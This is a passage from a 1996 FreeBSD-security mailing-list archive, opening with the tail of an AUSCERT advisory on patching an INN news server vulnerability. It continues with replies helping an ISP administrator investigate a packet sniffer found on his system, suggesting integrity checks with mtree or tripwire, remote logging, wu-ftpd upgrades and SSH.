INN software (usually "news"). This may be further leveraged to gain root access depending on the configuration of the operating system and the INN software. 3. Workarounds/Solution AUSCERT recommends that news servers running the vulnerable versions of INN should limit the possible exploitation of this vulnerability by immediately applying the vendor patches listed in Section 3.1. 3.1 Apply Vendor Patches James Brister, the current maintainer of INN, has made available security patches for common versions of INN that address the vulnerability described in this advisory. For INN versions 1.4unoff3, 1.4unoff4 and 1.5: ftp://ftp.vix.com/pub/inn/patches/security-patch.01 For INN version 1.4sec: ftp://ftp.vix.com/pub/inn/patches/security-patch.02 The MD5 checksums for these patches are: MD5 (security-patch.01) = 06131a3d1f4cf19d7d1e664c10306fa8 MD5 (security-patch.02) = 3a964ba0b2b2baf678ef554c67bb28f2 AUSCERT recommends sites running previous versions of INN upgrade to the latest version of INN (version 1.5) and then apply security-patch.01. More information regarding the current release of INN can be found at: http://www.isc.org/isc/inn.html - --------------------------------------------------------------------------- AUSCERT thanks James Brister of the Internet Software Consortium for his rapid response to this vulnerability. AUSCERT also acknowledges Matt Power from MIT for his initial report of the problem. - --------------------------------------------------------------------------- The AUSCERT team have made every effort to ensure that the information contained in this document is accurate. However, the decision to use the information described is the responsibility of each user or organisation. The appropriateness of this document for an organisation or individual system should be considered before application in conjunction with local policies and procedures. AUSCERT takes no responsibility for the consequences of applying the contents of this document. If you believe that your system has been compromised, contact AUSCERT or your representative in FIRST (Forum of Incident Response and Security Teams). AUSCERT is located at The University of Queensland within the Prentice Centre. AUSCERT is a full member of the Forum of Incident Response and Security Teams (FIRST). AUSCERT maintains an anonymous FTP service which is found on: ftp://ftp.auscert.org.au/pub/. This archive contains past SERT and AUSCERT Advisories, and other computer security information. AUSCERT also maintains a World Wide Web service which is found on: http://www.auscert.org.au/. Internet Email: auscert@auscert.org.au Facsimile: (07) 3365 4477 Telephone: (07) 3365 4417 (International: +61 7 3365 4417) AUSCERT personnel answer during Queensland business hours which are GMT+10:00 (AEST). On call after hours for emergencies. Postal: Australian Computer Emergency Response Team c/- Prentice Centre The University of Queensland Brisbane Qld. 4072. AUSTRALIA ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Revision History ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ -----BEGIN PGP SIGNATURE----- Version: 2.6.3i Charset: noconv Comment: ftp://ftp.auscert.org.au/pub/auscert/AUSCERT_PGP.key iQCVAwUBMq1l3Sh9+71yA2DNAQFvjgP9EPxKnVG+hccZWhMDUz6vuCnpK9aOZoHl n88+KefS/NnDfwoR4OQfkoKeY2PlaXDspCAZpOruTQuC66PoRnKPCzSsBeu7y53n 3cox/NR22T1P7WzOVOtVAcpGgG2xsAO1f0E4cKau3mKReg7DHMXwDCIpjfrtkIfD sOawerKUyH0= =Whvi -----END PGP SIGNATURE----- -+==--+==--+==--+==--+==--+==--+==--+==--+==--+==--+==--+==--+==--+==--+ This message was posted through the FIRST mailing list server. if you wish to unsubscribe from this mailing list, send the message body of "unsubscribe first-teams" to first-majordomo@FIRST.ORG -+==--+==--+==--+==--+==--+==--+==--+==--+==--+==--+==--+==--+==--+==--+ From owner-freebsd-security Mon Dec 9 23:09:04 1996 Return-Path: Received: (from root@localhost) by freefall.freebsd.org (8.8.4/8.8.4) id XAA22071 for security-outgoing; Mon, 9 Dec 1996 23:09:04 -0800 (PST) Received: from eternal.dusk.net (root@eternal.dusk.net [207.219.16.2]) by freefall.freebsd.org (8.8.4/8.8.4) with ESMTP id XAA22058 for ; Mon, 9 Dec 1996 23:09:02 -0800 (PST) Received: (from vlad@localhost) by eternal.dusk.net (8.8.4/8.8.4) id DAA04542; Tue, 10 Dec 1996 03:07:51 -0400 (AST) From: Christian Hochhold Message-Id: <199612100707.DAA04542@eternal.dusk.net> Subject: Re: URGENT... question regarding posted answer To: karl@Mcs.Net (Karl Denninger) Date: Tue, 10 Dec 1996 03:07:51 -0400 (AST) Cc: freebsd-security@freebsd.org In-Reply-To: <199612100602.AAA05680@Jupiter.Mcs.Net> from Karl Denninger at "Dec 10, 96 00:02:21 am" X-URL: http://www.dusk.net & http://www.vampires.net X-Moto: Live for today and let the future take care of itself X-Mailer: ELM [version 2.4ME+ PL22 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-security@freebsd.org X-Loop: FreeBSD.org Precedence: bulk Hello.. If you don't run programs such as... ident, ftp, telnet to mention but a few as root, whom would you run them as? Thanks, Christian > What is in /etc/inetd.conf that runs things as root? Anything listed > as root in there may as well be SUID root; add them to the list > of suspects. From owner-freebsd-security Mon Dec 9 23:12:01 1996 Return-Path: Received: (from root@localhost) by freefall.freebsd.org (8.8.4/8.8.4) id XAA22363 for security-outgoing; Mon, 9 Dec 1996 23:12:01 -0800 (PST) Received: from mail.crl.com (mail.crl.com [165.113.1.22]) by freefall.freebsd.org (8.8.4/8.8.4) with SMTP id XAA22339 for ; Mon, 9 Dec 1996 23:11:59 -0800 (PST) Received: from ican.net by mail.crl.com with SMTP id AA24394 (5.65c/IDA-1.5 for ); Mon, 9 Dec 1996 23:12:34 -0800 Received: from gate.ican.net(really [198.133.36.2]) by ican.net via sendmail with esmtp id for ; Tue, 10 Dec 1996 02:08:38 -0500 (EST) (Smail-3.2 1996-Jul-4 #1 built 1996-Jul-10) Received: (from smap@localhost) by gate.ican.net (8.7.5/8.7.3) id CAA22275; Tue, 10 Dec 1996 02:05:23 -0500 (EST) Received: from nap.io.org(10.1.1.3) by gate.ican.net via smap (V1.3) id sma022273; Tue Dec 10 02:05:09 1996 Received: from localhost (taob@localhost) by nap.io.org (8.7.5/8.7.3) with SMTP id CAA02455; Tue, 10 Dec 1996 02:02:15 -0500 (EST) X-Authentication-Warning: nap.io.org: taob owned process doing -bs Date: Tue, 10 Dec 1996 02:02:15 -0500 (EST) From: Brian Tao To: John-Mark Gurney Cc: FREEBSD-SECURITY-L Subject: Re: URGENT: Packet sniffer found on my system In-Reply-To: Message-Id: Mime-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-security@freebsd.org X-Loop: FreeBSD.org Precedence: bulk On Mon, 9 Dec 1996, John-Mark Gurney wrote: > > why not just have their passwords expire? then they have to change them > :) hope it all works out... ttyl.. The attacker can just as easily change the password to the account. This is an ISP, where there are thousands of user accounts. Some people don't login for days or weeks at a time, and won't see any announcements in their mailbox or in a newsgroup or on a login motd. I could just lock out all the accounts listed in the sniffer logs, but I'm not sure if our tech support staff would appreciate all the calls that would generate. That may be the most effective approach though. -- Brian Tao (BT300, taob@io.org, taob@ican.net) Senior Systems and Network Administrator, Internet Canada Corp. "Though this be madness, yet there is method in't" From owner-freebsd-security Mon Dec 9 23:18:23 1996 Return-Path: Received: (from root@localhost) by freefall.freebsd.org (8.8.4/8.8.4) id XAA23223 for security-outgoing; Mon, 9 Dec 1996 23:18:23 -0800 (PST) Received: from mail.crl.com (mail.crl.com [165.113.1.22]) by freefall.freebsd.org (8.8.4/8.8.4) with SMTP id XAA23201 for ; Mon, 9 Dec 1996 23:18:19 -0800 (PST) Received: from ican.net by mail.crl.com with SMTP id AA25411 (5.65c/IDA-1.5 for ); Mon, 9 Dec 1996 23:18:54 -0800 Received: from gate.ican.net(really [198.133.36.2]) by ican.net via sendmail with esmtp id for ; Tue, 10 Dec 1996 02:18:16 -0500 (EST) (Smail-3.2 1996-Jul-4 #1 built 1996-Jul-10) Received: (from smap@localhost) by gate.ican.net (8.7.5/8.7.3) id BAA22048; Tue, 10 Dec 1996 01:57:53 -0500 (EST) Received: from nap.io.org(10.1.1.3) by gate.ican.net via smap (V1.3) id sma022044; Tue Dec 10 01:57:27 1996 Received: from localhost (taob@localhost) by nap.io.org (8.7.5/8.7.3) with SMTP id BAA02267; Tue, 10 Dec 1996 01:54:34 -0500 (EST) X-Authentication-Warning: nap.io.org: taob owned process doing -bs Date: Tue, 10 Dec 1996 01:54:34 -0500 (EST) From: Brian Tao To: Don Lewis Cc: Karl Denninger , freebsd-security@freebsd.org Subject: Re: URGENT: Packet sniffer found on my system In-Reply-To: <199612100639.WAA00847@salsa.gv.ssi1.com> Message-Id: Mime-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-security@freebsd.org X-Loop: FreeBSD.org Precedence: bulk On Mon, 9 Dec 1996, Don Lewis wrote: > > One very old trick is to plant something in root's crontab. Checked that already, plus all the files called by /etc/crontab and /var/cron/tabs/root. That would still mean the attacker had root access in the first place. The sniffing sessions seem to have been started manually though (the last one fired up literally as I watched the output of 'top' and 'fstat' and other utilities, coinciding with a login event by the owner of the sniffer binary). > A trojan could have been planted in any of the binaries that root executes. > As soon as root runs the program, it spawns a copy of the sniffer or open > some other hole. You should do a comparsion of all the executables vs. > those in a fresh copy of the distribution. One of these days I'm going to set up cops or tripwire to do this for me on a regular basis. Heck, maybe even mtree, since it seems like it can do that sort of stuff... > Even the kernel could have been hacked to make it easy to get root access, > though it would probably be less obvious to give bpf access to a non-root > sniffer. I don't think we're dealing with someone that sophisticated yet. They would have had to patch a running kernel, since there hasn't been any recent reboots. -- Brian Tao (BT300, taob@io.org, taob@ican.net) Senior Systems and Network Administrator, Internet Canada Corp. "Though this be madness, yet there is method in't" From owner-freebsd-security Mon Dec 9 23:46:02 1996 Return-Path: Received: (from root@localhost) by freefall.freebsd.org (8.8.4/8.8.4) id XAA26010 for security-outgoing; Mon, 9 Dec 1996 23:46:02 -0800 (PST) Received: from sunrise.gv.ssi1.com (root@sunrise.gv.ssi1.com [146.252.44.191]) by freefall.freebsd.org (8.8.4/8.8.4) with ESMTP id XAA26004 for ; Mon, 9 Dec 1996 23:46:00 -0800 (PST) Received: from salsa.gv.ssi1.com (salsa.gv.ssi1.com [146.252.44.194]) by sunrise.gv.ssi1.com (8.8.4/8.8.4) with ESMTP id XAA07460; Mon, 9 Dec 1996 23:45:57 -0800 (PST) Received: (from gdonl@localhost) by salsa.gv.ssi1.com (8.8.4/8.8.4) id XAA00966; Mon, 9 Dec 1996 23:45:56 -0800 (PST) From: Don Lewis Message-Id: <199612100745.XAA00966@salsa.gv.ssi1.com> Date: Mon, 9 Dec 1996 23:45:56 -0800 In-Reply-To: Brian Tao "Re: URGENT: Packet sniffer found on my system" (Dec 10, 1:54am) X-Mailer: Mail User's Shell (7.2.6 alpha(3) 7/19/95) To: Brian Tao , Don Lewis Subject: Re: URGENT: Packet sniffer found on my system Cc: Karl Denninger , freebsd-security@freebsd.org Sender: owner-security@freebsd.org X-Loop: FreeBSD.org Precedence: bulk On Dec 10, 1:54am, Brian Tao wrote: } Subject: Re: URGENT: Packet sniffer found on my system } On Mon, 9 Dec 1996, Don Lewis wrote: } > } > One very old trick is to plant something in root's crontab. } } Checked that already, plus all the files called by /etc/crontab } and /var/cron/tabs/root. That would still mean the attacker had root } access in the first place. The sniffing sessions seem to have been } started manually though (the last one fired up literally as I watched } the output of 'top' and 'fstat' and other utilities, coinciding with a } login event by the owner of the sniffer binary). Hmn, I think wu-ftpd runs as root in anonymous mode so that it can chroot(). I seem to recall there was a buffer overflow bug in it's private realpath() implementation. } > A trojan could have been planted in any of the binaries that root executes. } > As soon as root runs the program, it spawns a copy of the sniffer or open } > some other hole. You should do a comparsion of all the executables vs. } > those in a fresh copy of the distribution. } } One of these days I'm going to set up cops or tripwire to do this } for me on a regular basis. Heck, maybe even mtree, since it seems } like it can do that sort of stuff... Sounds like a good idea. } > Even the kernel could have been hacked to make it easy to get root access, } > though it would probably be less obvious to give bpf access to a non-root } > sniffer. } } I don't think we're dealing with someone that sophisticated yet. } They would have had to patch a running kernel, since there hasn't been } any recent reboots. I just mentioned this for completeness. It's something that you should really check if root has been compromised. --- Truck From owner-freebsd-security Tue Dec 10 01:27:48 1996 Return-Path: Received: (from root@localhost) by freefall.freebsd.org (8.8.4/8.8.4) id BAA29903 for security-outgoing; Tue, 10 Dec 1996 01:27:48 -0800 (PST) Received: from gw-nl1.philips.com (gw-nl1.philips.com [192.68.44.33]) by freefall.freebsd.org (8.8.4/8.8.4) with ESMTP id BAA29894 for ; Tue, 10 Dec 1996 01:27:46 -0800 (PST) Received: (from nobody@localhost) by gw-nl1.philips.com (8.6.10/8.6.10-0.994n-08Nov95) id KAA02236; Tue, 10 Dec 1996 10:26:15 +0100 Received: from unknown(130.139.36.3) by gw-nl1.philips.com via smap (V1.3+ESMTP) with ESMTP id sma002148; Tue Dec 10 10:25:45 1996 Received: from bsd.lss.cp.philips.com (bsd.lss.cp.philips.com [130.144.199.33]) by smtprelay.nl.cis.philips.com (8.6.10/8.6.10-1.2.1m-961122) with SMTP id KAA12188; Tue, 10 Dec 1996 10:25:44 +0100 Received: by bsd.lss.cp.philips.com (8.8.3/1.63) id KAA08591; Tue, 10 Dec 1996 10:25:43 +0100 (MET) From: guido@bsd.lss.cp.philips.com (Guido van Rooij) Message-Id: <199612100925.KAA08591@bsd.lss.cp.philips.com> Subject: Re: URGENT: Packet sniffer found on my system To: karl@Mcs.Net (Karl Denninger) Date: Tue, 10 Dec 1996 10:25:43 +0100 (MET) Cc: taob@io.org, freebsd-security@FreeBSD.ORG In-Reply-To: <199612100602.AAA05680@Jupiter.Mcs.Net> from Karl Denninger at "Dec 10, 96 00:02:21 am" X-Mailer: ELM [version 2.4ME+ PL22 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-security@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk Karl Denninger wrote: > When did you upgrade to sendmail 8.8.3, and are you SURE that someone 8.8.4 that is! -Guido From owner-freebsd-security Tue Dec 10 06:38:10 1996 Return-Path: Received: (from root@localhost) by freefall.freebsd.org (8.8.4/8.8.4) id GAA04838 for security-outgoing; Tue, 10 Dec 1996 06:38:10 -0800 (PST) Received: from freebsd.netcom.com (freebsd.netcom.com [198.211.79.3]) by freefall.freebsd.org (8.8.4/8.8.4) with SMTP id GAA04832 for ; Tue, 10 Dec 1996 06:38:07 -0800 (PST) Received: by freebsd.netcom.com (8.6.12/SMI-4.1) id IAA24062; Tue, 10 Dec 1996 08:36:49 -0600 From: bugs@freebsd.netcom.com (Mark Hittinger) Message-Id: <199612101436.IAA24062@freebsd.netcom.com> Subject: Re: URGENT: Packet sniffer found on my system To: taob@io.org (Brian Tao) Date: Tue, 10 Dec 1996 08:36:49 -0600 (CST) Cc: freebsd-security@freebsd.org In-Reply-To: from "Brian Tao" at Dec 10, 96 00:15:52 am X-Mailer: ELM [version 2.4 PL25] Content-Type: text Sender: owner-security@freebsd.org X-Loop: FreeBSD.org Precedence: bulk > all but six setuid root binaries chmod 500'd. The Web/FTP server does > not grant shell access. Is there something with Apache 1.1.1 or > wu-ftpd I don't know about that allows a user to execute arbitrary > code as root? I noticed lpr still had its setuid bit on the FTP > server, but afaik, there is no way to tell wu-ftpd to run arbitrary > programs as root. We are running wu-ftpd 2.4(1). > Any ideas how root access was available so easily? The wu-ftpd looks a little old - it probably does not have Hobbit's fixes in it. You might want to get the beta-11 of wu-ftpd and put that up. The beta-11 incorporates Hobbit's fixes. Look at cgiwrap for the cgi's on the apache server, look at hacking ftpd to chroot. Make sure users can't create .forward or .rhost files in their ftp directory. Get rid of hosts.equiv - make sure the rlogin/rsh/rcp stuff is disabled. Look at secure rpcbind from ftp.cert.org. Good luck. Regards, Mark Hittinger Netcom/Dallas bugs@freebsd.netcom.com From owner-freebsd-security Tue Dec 10 06:43:39 1996 Return-Path: Received: (from root@localhost) by freefall.freebsd.org (8.8.4/8.8.4) id GAA05416 for security-outgoing; Tue, 10 Dec 1996 06:43:39 -0800 (PST) Received: from ux9.cso.uiuc.edu (igor@ux9.cso.uiuc.edu [128.174.5.39]) by freefall.freebsd.org (8.8.4/8.8.4) with ESMTP id GAA05392 for ; Tue, 10 Dec 1996 06:43:34 -0800 (PST) Received: (from igor@localhost) by ux9.cso.uiuc.edu (8.8.4/8.8.4) id IAA01109; Tue, 10 Dec 1996 08:43:31 -0600 (CST) Date: Tue, 10 Dec 1996 08:43:31 -0600 (CST) From: igor vladimirovich roshchin Message-Id: <199612101443.IAA01109@ux9.cso.uiuc.edu> To: tabo@io.org Subject: Re: URGENT: Packet sniffer found on my system Cc: freebsd-security@FreeBSD.ORG Sender: owner-security@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk Hi, powerfull All! I don't know how relevant this is, but it might give you some clue. On my FreeBSD box I've recently seen that somebody (different people, from different hosts (from different countries)) attacked, using smth. similar, if not exactly "attack of service denial" This happened both with "standard" ftpd and wu-ftpd. Attacker was just opening multiple connections until the limit of opened files was reached. THen, I am not sure what happened, I hope he was not able to get anything from that, but not completely sure. Since syslogd doesn't log ftpd messages separately, I'd advise you to use !ftpd *.* /var/log/ftp.log or something similar. This might help you to be sure you are not getting the abuser through ftp. You can also set logging of all the commands been issued , using /usr/local/etc/ftpaccess. Try also log your activity to another host as well (to prevent erasing logfiles by the attacker): e.g.: *.notice;auth.* @very.secured.host (I am talking about /etc/syslog.conf) BTW, you are using find to find these or those files (and ls), check those binaries, they could've been "patched". Have you also checked binaries which are run from crontab, like /sbin/adjkerntz^I-a and /usr/libexec/atrun making sure they are not "patched" ? Check also libc.a and ld.so, making sure they are not rewritten. BTW, Although this is not crucial, but you seem to be using sendmail from the original package, probably without FreeBSD patches. (With FreeBSD patches you would not get some of the hardlinks to sendmail; the would be just 3 files) I think you don't really need the "hoststat" program, do you ? You are using screen. I haven't been following the evolution of this package (just haven't heard about it recently), but remember that there were some security issues regarding it. May be somebody can confirm or reject this possibility. Sorry if I wrote something too obvious or lame, but I just tried to think about other possibilities.... Igor From owner-freebsd-security Tue Dec 10 06:52:44 1996 Return-Path: Received: (from root@localhost) by freefall.freebsd.org (8.8.4/8.8.4) id GAA06014 for security-outgoing; Tue, 10 Dec 1996 06:52:44 -0800 (PST) Received: from halloran-eldar.lcs.mit.edu (halloran-eldar.lcs.mit.edu [18.26.0.159]) by freefall.freebsd.org (8.8.4/8.8.4) with SMTP id GAA06007 for ; Tue, 10 Dec 1996 06:52:42 -0800 (PST) Received: by halloran-eldar.lcs.mit.edu; (5.65v3.2/1.1.8.2/19Aug95-0530PM) id AA21942; Tue, 10 Dec 1996 09:52:01 -0500 Date: Tue, 10 Dec 1996 09:52:01 -0500 From: Garrett Wollman Message-Id: <9612101452.AA21942@halloran-eldar.lcs.mit.edu> To: Brian Tao Cc: freebsd-security@freebsd.org Subject: Re: URGENT: Packet sniffer found on my system In-Reply-To: References: <199612100639.WAA00847@salsa.gv.ssi1.com> Sender: owner-security@freebsd.org X-Loop: FreeBSD.org Precedence: bulk < said: > One of these days I'm going to set up cops or tripwire to do this > for me on a regular basis. Heck, maybe even mtree, since it seems > like it can do that sort of stuff... In fact, recent distributions should come with all the mtree files you need to perform this sort of check. Look for the `distname.mtree' files in the distribution directories. You can even have mtree screech about files which are there but are not present in the profile. Be aware that some files (like init) exist in different versions in different distributions, so there are going to be some false alarms. -GAWollman -- Garrett A. Wollman | O Siem / We are all family / O Siem / We're all the same wollman@lcs.mit.edu | O Siem / The fires of freedom Opinions not those of| Dance in the burning flame MIT, LCS, ANA, or NSA| - Susan Aglukark and Chad Irschick From owner-freebsd-security Tue Dec 10 07:20:37 1996 Return-Path: Received: (from root@localhost) by freefall.freebsd.org (8.8.4/8.8.4) id HAA07736 for security-outgoing; Tue, 10 Dec 1996 07:20:37 -0800 (PST) Received: from virginia.edu (mars.itc.Virginia.EDU [128.143.2.9]) by freefall.freebsd.org (8.8.4/8.8.4) with SMTP id HAA07730 for ; Tue, 10 Dec 1996 07:20:33 -0800 (PST) Received: from archive.cs.virginia.edu by mail.virginia.edu id aa02938; 10 Dec 96 10:20 EST Received: from stretch.cs.Virginia.edu (atf3r@stretch-fo.cs.Virginia.EDU [128.143.136.14]) by archive.cs.Virginia.EDU (8.7.5/8.7.3) with SMTP id KAA20014; Tue, 10 Dec 1996 10:19:58 -0500 (EST) Received: by stretch.cs.Virginia.edu (4.1/SMI-2.0) id AA03901; Tue, 10 Dec 96 10:19:57 EST Date: Tue, 10 Dec 1996 10:19:54 -0500 (EST) From: "Adrian T. Filipi-Martin" Reply-To: adrian@virginia.edu To: Don Lewis Cc: freebsd-security@freebsd.org Subject: Re: URGENT: Packet sniffer found on my system In-Reply-To: <199612100639.WAA00847@salsa.gv.ssi1.com> Message-Id: Mime-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-security@freebsd.org X-Loop: FreeBSD.org Precedence: bulk On Mon, 9 Dec 1996, Don Lewis wrote: > > A trojan could have been planted in any of the binaries that root executes. > As soon as root runs the program, it spawns a copy of the sniffer or open > some other hole. You should do a comparsion of all the executables vs. > those in a fresh copy of the distribution. > > Even the kernel could have been hacked to make it easy to get root access, > though it would probably be less obvious to give bpf access to a non-root > sniffer. This reminds me, has anyone considered getting a precomputed list of MD5 signatures for all precompiled system binaries onto the distribution CDs? While it would not necessarily help those who recompile world, it would still be a handy time saver. I suppose even the scripts to make and compare the MD5 checksums would be handy as part of the system. Adrian adrian@virginia.edu ---->>>>| Support your local programmer, System Administrator --->>>| STOP Software Patent Abuses NOW! NVL, NIIMS and Telemedicine Labs -->>| For an application and information Member: League for Programming Freedom ->| see: http://www.lpf.org/ From owner-freebsd-security Tue Dec 10 08:15:44 1996 Return-Path: Received: (from root@localhost) by freefall.freebsd.org (8.8.4/8.8.4) id IAA10268 for security-outgoing; Tue, 10 Dec 1996 08:15:44 -0800 (PST) Received: from halloran-eldar.lcs.mit.edu (halloran-eldar.lcs.mit.edu [18.26.0.159]) by freefall.freebsd.org (8.8.4/8.8.4) with SMTP id IAA10263 for ; Tue, 10 Dec 1996 08:15:42 -0800 (PST) Received: by halloran-eldar.lcs.mit.edu; (5.65v3.2/1.1.8.2/19Aug95-0530PM) id AA07397; Tue, 10 Dec 1996 11:15:39 -0500 Date: Tue, 10 Dec 1996 11:15:39 -0500 From: Garrett Wollman Message-Id: <9612101615.AA07397@halloran-eldar.lcs.mit.edu> To: adrian@virginia.edu Cc: freebsd-security@freebsd.org Subject: Re: URGENT: Packet sniffer found on my system In-Reply-To: References: <199612100639.WAA00847@salsa.gv.ssi1.com> Sender: owner-security@freebsd.org X-Loop: FreeBSD.org Precedence: bulk < said: > This reminds me, has anyone considered getting a precomputed list > of MD5 signatures for all precompiled system binaries onto the > distribution CDs? As I mentioned earlier, there already is such a thing. Look for the `distname.mtree' files in the installation directories. -GAWollman -- Garrett A. Wollman | O Siem / We are all family / O Siem / We're all the same wollman@lcs.mit.edu | O Siem / The fires of freedom Opinions not those of| Dance in the burning flame MIT, LCS, ANA, or NSA| - Susan Aglukark and Chad Irschick From owner-freebsd-security Tue Dec 10 08:16:56 1996 Return-Path: Received: (from root@localhost) by freefall.freebsd.org (8.8.4/8.8.4) id IAA10358 for security-outgoing; Tue, 10 Dec 1996 08:16:56 -0800 (PST) Received: from postoffice.cso.uiuc.edu (postoffice.cso.uiuc.edu [128.174.5.11]) by freefall.freebsd.org (8.8.4/8.8.4) with SMTP id IAA10345 for ; Tue, 10 Dec 1996 08:16:49 -0800 (PST) Received: from alecto.physics.uiuc.edu (alecto.physics.uiuc.edu [128.174.83.167]) by postoffice.cso.uiuc.edu (8.6.12/8.6.12) with ESMTP id KAA237806; Tue, 10 Dec 1996 10:15:44 -0600 Received: by alecto.physics.uiuc.edu (940816.SGI.8.6.9/940406.SGI) id KAA21524; Tue, 10 Dec 1996 10:14:38 -0600 From: igor@alecto.physics.uiuc.edu (Igor Roshchin) Message-Id: <199612101614.KAA21524@alecto.physics.uiuc.edu> Subject: Re: URGENT: Packet sniffer found on my system To: bugs@freebsd.netcom.com (Mark Hittinger) Date: Tue, 10 Dec 1996 10:14:38 -0600 (CST) Cc: taob@io.org, freebsd-security@freebsd.org In-Reply-To: <199612101436.IAA24062@freebsd.netcom.com> from "Mark Hittinger" at Dec 10, 96 08:36:49 am X-Mailer: ELM [version 2.4 PL24] Content-Type: text Sender: owner-security@freebsd.org X-Loop: FreeBSD.org Precedence: bulk > > > > all but six setuid root binaries chmod 500'd. The Web/FTP server does > > not grant shell access. Is there something with Apache 1.1.1 or > > wu-ftpd I don't know about that allows a user to execute arbitrary > > code as root? I noticed lpr still had its setuid bit on the FTP > > server, but afaik, there is no way to tell wu-ftpd to run arbitrary > > programs as root. We are running wu-ftpd 2.4(1). > > Any ideas how root access was available so easily? > > The wu-ftpd looks a little old - it probably does not have Hobbit's fixes > in it. You might want to get the beta-11 of wu-ftpd and put that up. The > beta-11 incorporates Hobbit's fixes. > > Mark Hittinger > Netcom/Dallas > bugs@freebsd.netcom.com > What are those Hobbit's fixes ? Where can one get those ? Why are they not incorporated in ports ? thanks. IgoR From owner-freebsd-security Tue Dec 10 09:31:53 1996 Return-Path: Received: (from root@localhost) by freefall.freebsd.org (8.8.4/8.8.4) id JAA16224 for security-outgoing; Tue, 10 Dec 1996 09:31:53 -0800 (PST) Received: from mexico.brainstorm.eu.org (root@mexico.brainstorm.fr [193.56.58.253]) by freefall.freebsd.org (8.8.4/8.8.4) with ESMTP id JAA16215 for ; Tue, 10 Dec 1996 09:31:48 -0800 (PST) Received: from brasil.brainstorm.eu.org (brasil.brainstorm.fr [193.56.58.33]) by mexico.brainstorm.eu.org (8.7.5/8.7.3) with ESMTP id SAA16278 for ; Tue, 10 Dec 1996 18:31:42 +0100 Received: (from uucp@localhost) by brasil.brainstorm.eu.org (8.6.12/8.6.12) with UUCP id SAA21600 for security@freebsd.org; Tue, 10 Dec 1996 18:31:22 +0100 Received: (from roberto@localhost) by keltia.freenix.fr (8.8.4/keltia-uucp-2.9) id HAA11218; Tue, 10 Dec 1996 07:30:49 +0100 (CET) Message-ID: Date: Tue, 10 Dec 1996 07:30:48 +0100 From: roberto@keltia.freenix.fr (Ollivier Robert) To: security@freebsd.org Subject: Re: Running sendmail non-suid References: <199612092111.NAA17991@passer.osg.gov.bc.ca> <199612092233.OAA13422@itchy.atlas.com> X-Mailer: Mutt 0.53 Mime-Version: 1.0 X-Operating-System: FreeBSD 3.0-CURRENT ctm#2768 In-Reply-To: <199612092233.OAA13422@itchy.atlas.com>; from Brant Katkansky on Dec 9, 1996 14:33:29 -0800 Sender: owner-security@freebsd.org X-Loop: FreeBSD.org Precedence: bulk According to Brant Katkansky: > (*) Remote access (telnet only) will be permitted only via a few select > (and highly trusted) IP addresses. I realize that this makes the > system somewhat vulnerable to IP-spoofing, but some concessions had to be > made. Use SSH ! It is not vulnerable to IP spoofing. Your sessions will be encrypted, X11 is encrypted too and you can limit who is permitted to log on. -- Ollivier ROBERT -=- The daemon is FREE! -=- roberto@keltia.freenix.fr FreeBSD keltia.freenix.fr 3.0-CURRENT #31: Tue Dec 3 23:52:58 CET 1996 From owner-freebsd-security Tue Dec 10 09:39:48 1996 Return-Path: Received: (from root@localhost) by freefall.freebsd.org (8.8.4/8.8.4) id JAA16826 for security-outgoing; Tue, 10 Dec 1996 09:39:48 -0800 (PST) Received: from passer.osg.gov.bc.ca (0@passer.osg.gov.bc.ca [142.32.110.29]) by freefall.freebsd.org (8.8.4/8.8.4) with ESMTP id JAA16821 for ; Tue, 10 Dec 1996 09:39:46 -0800 (PST) Received: from localhost (15005@localhost [127.0.0.1]) by passer.osg.gov.bc.ca (8.8.4/8.6.10) with SMTP id JAA22495; Tue, 10 Dec 1996 09:38:40 -0800 (PST) From: Cy Schubert - ITSD Open Systems Group Message-Id: <199612101738.JAA22495@passer.osg.gov.bc.ca> X-Authentication-Warning: passer.osg.gov.bc.ca: 15005@localhost [127.0.0.1] didn't use HELO protocol Reply-to: cschuber@uumail.gov.bc.ca X-Mailer: MH X-Sender: cschuber To: igor@alecto.physics.uiuc.edu (Igor Roshchin) cc: bugs@freebsd.netcom.com (Mark Hittinger), taob@io.org, freebsd-security@freebsd.org Subject: Re: URGENT: Packet sniffer found on my system In-reply-to: Your message of "Tue, 10 Dec 96 10:14:38 CST." <199612101614.KAA21524@alecto.physics.uiuc.edu> Date: Tue, 10 Dec 96 09:38:39 -0800 X-Mts: smtp Sender: owner-security@freebsd.org X-Loop: FreeBSD.org Precedence: bulk > > The wu-ftpd looks a little old - it probably does not have Hobbit's fixes > > in it. You might want to get the beta-11 of wu-ftpd and put that up. The > > beta-11 incorporates Hobbit's fixes. > > What are those Hobbit's fixes ? The Hobbit's fixkits are a various assortment of fixes for a few software packages such as wu-ftpd, sendmail 8.6.10, TCP/Wrapper 7,2, among other things. All of the fixes are for older versions of the software. As stated above, you're probably better off with wu-ftpd-beta11. You can get wu-ftpd-beta11 from ftp://ftp.academ.com/pub/wu-ftpd/private/wu-ftpd-2.4.2-beta-11.tar.Z. Washington University at Saint Louis no longer supports wu-ftpd. > Where can one get those ? You can get the Hobbit's fixkits from ftp://ftp.avian.org/src/fixkits. > Why are they not incorporated in ports ? Now that wu-ftpd is maintained by Academ Consulting Services, are there any legal issues with incorporating beta-11 in ports? Regards, Phone: (250)387-8437 Cy Schubert OV/VM: BCSC02(CSCHUBER) Open Systems Support BITNET: CSCHUBER@BCSC02.BITNET ITSD Internet: cschuber@uumail.gov.bc.ca cschuber@bcsc02.gov.bc.ca "Quit spooling around, JES do it." From owner-freebsd-security Tue Dec 10 11:29:23 1996 Return-Path: Received: (from root@localhost) by freefall.freebsd.org (8.8.4/8.8.4) id LAA23552 for security-outgoing; Tue, 10 Dec 1996 11:29:23 -0800 (PST) Received: from gvr.win.tue.nl (root@gvr.win.tue.nl [131.155.210.19]) by freefall.freebsd.org (8.8.4/8.8.4) with ESMTP id LAA23522; Tue, 10 